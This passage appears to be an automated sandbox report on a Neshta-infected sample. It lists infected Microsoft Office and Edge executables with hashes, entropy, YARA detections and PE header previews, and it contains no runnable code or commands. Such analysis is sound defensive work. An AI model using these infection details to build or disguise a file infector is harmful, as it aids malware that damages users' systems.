Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	105440
Entropy (8bit):	6.087841458302814
Encrypted:	false
SSDEEP:	768:eyxqjQl/EMQt4Oei7RwsHxyP7nbxzOQdJrrZ1jL9zxwKeL9zgt5tjTh7D9:JxqjQ+P04wsmJCIjhzxwKehzgt5t1D
MD5:	22753C1C6A88FFB01068FF391B0C3926
SHA1:	FBC83E06E31A9EE5A827D90481BEFC36EBF085F7
SHA-256:	E727CB8EF6D54A511C18E4FC92AA94841AAFDC284942398D35D1B091CB97D8B1
SHA-512:	CAB6DB0DD9EA2260979130415158FFAA22B6DA8E281138D2CB1F569F09384A3E5A5C3935B8B8DC76935F82D9CEA7172904A35ED23678CDD670152E065F20D64D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	537536
Entropy (8bit):	4.968722692341351
Encrypted:	false
SSDEEP:	3072:sr85C9PMMRMMMmMMMvMMMwMMMNMMMWMMM3MMsewVOOMzMMvMMOMMMJMM2MMQM6ku:k9EwVR6V7byjUWAZyVVdz8eEdGo
MD5:	A72A576B968347739046BEEF59A3B97A
SHA1:	545247805365655FF64D1A70F672A43D2B4E682E
SHA-256:	A1313CE60D736ADFE281422421401E327979DDD34945A4194C66E9235DAA884C
SHA-512:	9850A6A6B5310C2437964C199FBDD860CA202A7C78766A0F710B29FEED4541CF09307B9AEB74BD7455CDD7A1D7B990C78285B7A79C699B9BF65FC4426649927E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1271952
Entropy (8bit):	4.084096712356835
Encrypted:	false
SSDEEP:	3072:sr85C93ppPpNpDpspp/pCp0pmppdpspppRppMpLp0ppppbpQp2pphpSpXpQppapG:k9eKQSNdhnSzv
MD5:	892E75C95404B2DD9A4753F53B530F5E
SHA1:	6B9A7C5827A767520B61E3192BC3951466CACB35
SHA-256:	8EE17679C7E631E0A80CE70778CB3A7BBD044E5C57BDC65526973B421EED3AFA
SHA-512:	E7509867E5D3AE99368882A008921086A38F8B890058DCE61EF4C95CE20B7F9B5B1E88F4F038BC792F70888349B27E978F559DE287D7E89C979777086FA1D286
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099760
Entropy (8bit):	3.7180860871313963
Encrypted:	false
SSDEEP:	12288:uBKs7fvZIFpCYVIVN2mGsb8HtVLaHw3j4cLbUBRjLFP29DyZbT9gb/m06aCzE6h9:uBKszX0FjOeblHiled/k
MD5:	C192144B8943B415548AF24878815096
SHA1:	4DADFF2BCB636AE059DFD73067DC938EEF5CC725
SHA-256:	45AF4FF535E765EB6973B13C76A80D6A9F4FA4D0B3660FB5D5831718DAC21C38
SHA-512:	C50A756D3288E1F779E118892C21C3908503D6D10FB8DDFAAB4F34C5D13A71DCE97933B6977B3AB83E344B0741305532BBBB5C9AF1B6B7F6CB1E1526F51330FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1273488
Entropy (8bit):	4.319301892791611
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC4qYvbZthqyEATS583ONoTqzaezuC8zFtxzzqO9uF:sr85Cf6bZt+ATS583ONo4aezJ8ZfqiA
MD5:	025B19077CDB23D9DC885FEBF629CDC5
SHA1:	B7930EDF5AF2089834CFA6DC190AF5EDAE20831D
SHA-256:	78CFA64C50350F824AA2C627FB54D8F06E444810669198074A06CC5AE743D62F
SHA-512:	C1134FFEE3CE07CB19BD9AFED8986C98588A27EFDB6E8BE72B1571FFF7B18F4014BACE244074FE2846921EDBEAB308058FE93DFE7E17CCB46C225035E4513F68
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.727061682781764
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCMwu7mzj9zNtP9zNps8Q:sr85CMLmzj9P95psb
MD5:	9A2455DBF03A4E060F7BCCA43DD3D64E
SHA1:	D4FEB7DEF1FEB03CB7E86EB57D43BD69E8596EAE
SHA-256:	0102394DCA78E8B630B3C9613E0C9C620944218FDA84E1E129415E6F972495C3
SHA-512:	DEE619AC553F0DE06058BD118164D4A8E4B93A7F20D4B098E5D5AF9338CBD12F5CE94F054B92FDF435BE87596FD154904968FA96970887993418A3B41EAEAFD5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2970664
Entropy (8bit):	3.8530507327775085
Encrypted:	false
SSDEEP:	3072:sr85C4Nd0qVmvzC1SvXKo3NzbsZ6DdIAZcbEcofUnpfRII8Lp9qgN3WJp0Rf5NGu:k9I/V/CfDhNG5sMXjjzmEPoL
MD5:	AB3E9B8C0565CB076490949DF074D582
SHA1:	F5BEC2D8CCF13A10D82C27B9A14289A009DDDDEB
SHA-256:	1C4DA1D108B71EE639AB846128E5F08D6E5EFA4D5BE02C2862597BD4BDD96DE7
SHA-512:	532493C141AC8E3B5FFD99E0F13AE8A26E4838AFE7B282A02C62B1BD2B7083DD04EE1E39B8A2BFC559DBB7B8CFB6D64D146BB20593A0FAC64E41DB5D81EE7287
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.78009314420001
Encrypted:	false
SSDEEP:	6144:k9msSR7PYKzz38YwZItvsDu7DbDhRAUzHW:ZPYmLWSDBy
MD5:	3AF0E40A55AEE11DC01E0F1943041494
SHA1:	ED8F0489550B78892E6FDF80784CF5D672AB3F2A
SHA-256:	8A8212E9F7615A590E3BD2AF07E650FEA60CAC875388F57F7AD1CBADD65A11E9
SHA-512:	54741EB3ACEADE514E1E305A9D4937C59266DFC20F108F9A87C56EF283519A8CC6DAAE1953706A20860F390520C48C0BB5A4482C751E335B45A0E5858967D765
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4319272
Entropy (8bit):	3.8126753798312922
Encrypted:	false
SSDEEP:	6144:k9GmRfvlTZY/C3ul0ywb/uXMo+YJ7M41zXLWIB:z+6M+595B
MD5:	A914483FA2C2F86E415633657D33D59D
SHA1:	E687C9ADB19340050BB434F1A309290C72D0DBD1
SHA-256:	42B15769C1B7B74FFD9022A9E377783EE59F1F75688E1345D1A09DBADBD3102C
SHA-512:	1784002A4E99F5DC77C4DEE11FB25E413A2840F4FBA5C001F40BADE7A8DBD172B363BF6EBF66883FA2A3FC0B03E3ACDD5FC485EF7DD3DA4493CDF93D8C2EA4DE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7745537489281356
Encrypted:	false
SSDEEP:	3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
MD5:	3257CDD51A6A354CEE4BA01A54D63EAE
SHA1:	5C1A13555616FC7AD988E3A5A847D9173FB70513
SHA-256:	80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
SHA-512:	CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7745537489281356
Encrypted:	false
SSDEEP:	3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
MD5:	3257CDD51A6A354CEE4BA01A54D63EAE
SHA1:	5C1A13555616FC7AD988E3A5A847D9173FB70513
SHA-256:	80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
SHA-512:	CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7745537489281356
Encrypted:	false
SSDEEP:	3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
MD5:	3257CDD51A6A354CEE4BA01A54D63EAE
SHA1:	5C1A13555616FC7AD988E3A5A847D9173FB70513
SHA-256:	80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
SHA-512:	CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082008
Entropy (8bit):	3.7745537489281356
Encrypted:	false
SSDEEP:	3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
MD5:	3257CDD51A6A354CEE4BA01A54D63EAE
SHA1:	5C1A13555616FC7AD988E3A5A847D9173FB70513
SHA-256:	80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
SHA-512:	CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	582184
Entropy (8bit):	6.400758373600043
Encrypted:	false
SSDEEP:	6144:k9KLWET8DS698nGX2OduCwUJWh/JmmS3DAjqnkrzFoEh+vMKC239YUFgBdQ/:DLxT8DhyiLduCe/lSpn6zOvYUFg4/
MD5:	C0386A35F92FB82637471B03FCA1F0CA
SHA1:	08E07F04682C582336D3531610A20DCD38CD43B9
SHA-256:	77AD987963ACDD9D867BDD33F3778088B9AC461334BC4A1E49A4982D325E702F
SHA-512:	E6449FB51F16A1674365D4CE644DC0148199524E9D9DACDE0FB17B26C0C4652C924BB6CAF284AF125958632B9BCB111069EB6FC9EE1A26D83B15F67EE8DA365B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837992
Entropy (8bit):	6.4449937551945595
Encrypted:	false
SSDEEP:	49152:tB1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8EK:5HzorVmr2FkRpdJYolA
MD5:	D7932DE11B8AD54A41413381EAC41AC2
SHA1:	8B383BA02414803CFD515A8384434AD5CBB70231
SHA-256:	DC1F4FD1F3F718C6965F038472EDD640437CBE0BD2B77E21945073AF404CB90B
SHA-512:	48C561E17BD75181D3ADEDB41F1172BB95163E3DC5792DA212C218F80878D45D3C49BEEFE44E76BCECA77EC644A83A16C59316CC2178A976D91347D389B3741D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161832
Entropy (8bit):	6.154443017106145
Encrypted:	false
SSDEEP:	3072:sr85CX2VSd2ga8KActASiZAkXS1xU5M3XgcoT0cs4qIm6Y6:k9mVSktVjv3Xg5T0FIY6
MD5:	6A0721A64003242C799CF2DD85B0713D
SHA1:	AC7451D1A042B9980D506B43237C5C8A3D218989
SHA-256:	88EB264B7A72C62D8FC399469E7E573BEE906C8939513F3A869656E5B667BBBD
SHA-512:	B3F3E9DB4126A6479E6CB455FE8BCE1F8BB108270C2BA9C422E17932E901A65CDFED66DAF2A11C082BC924EC9EA51484418F4F09990848B91912BD3E1EB63AD7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1827880
Entropy (8bit):	6.540770888228441
Encrypted:	false
SSDEEP:	24576:bhDdVrQwm5ztlU0A7fMAHmpmZ3QXE/0/lVaLpmasGvP0:bhDdVrQ95RW0Y9HyWQXE/09Val0GE
MD5:	624A5B15DE2385F6CA42DDCE0E24D109
SHA1:	13FE13198A9BFA24774EEA44759471B31EA439E7
SHA-256:	A7DF6A45B54B30014DB94309F3BBA50A1EA8EFB8EAD01682BAA6826E533418C5
SHA-512:	CE244B2DAF739BFDC491C28129CA6504966CAEFEA0BBE16871522089A825133F2C1609D51266058A62D767F3624C514421F09D50DAC5A11CE26B5C8B804A641A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297448
Entropy (8bit):	6.514786717345656
Encrypted:	false
SSDEEP:	12288:bdoA0Eh2XptoQZRuefMYR6RrAJU9CsxmMocSipEylqFfouDMA+nkSddSDBDIq:b70E0ZCQZMip6Rrt9RoctGfmdd0
MD5:	C9FE3D4AA1438A059AAE69A5D8FA4269
SHA1:	288D3F38B4A6797E15187C00A24D0AAD1B5BAF60
SHA-256:	913E86233F11A6A269DA1A324D43C9FF737A9AE0DE1D9DE59D0AD961137B9F2A
SHA-512:	0775ECDC44DB15BD92B103F75410BCB4079D7165C6FACB7CD0DBA091DB94E4A6648A85563FE24E33D862E16CBA73993461533D4CE196078FAF6AA9030D39C288
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4251688
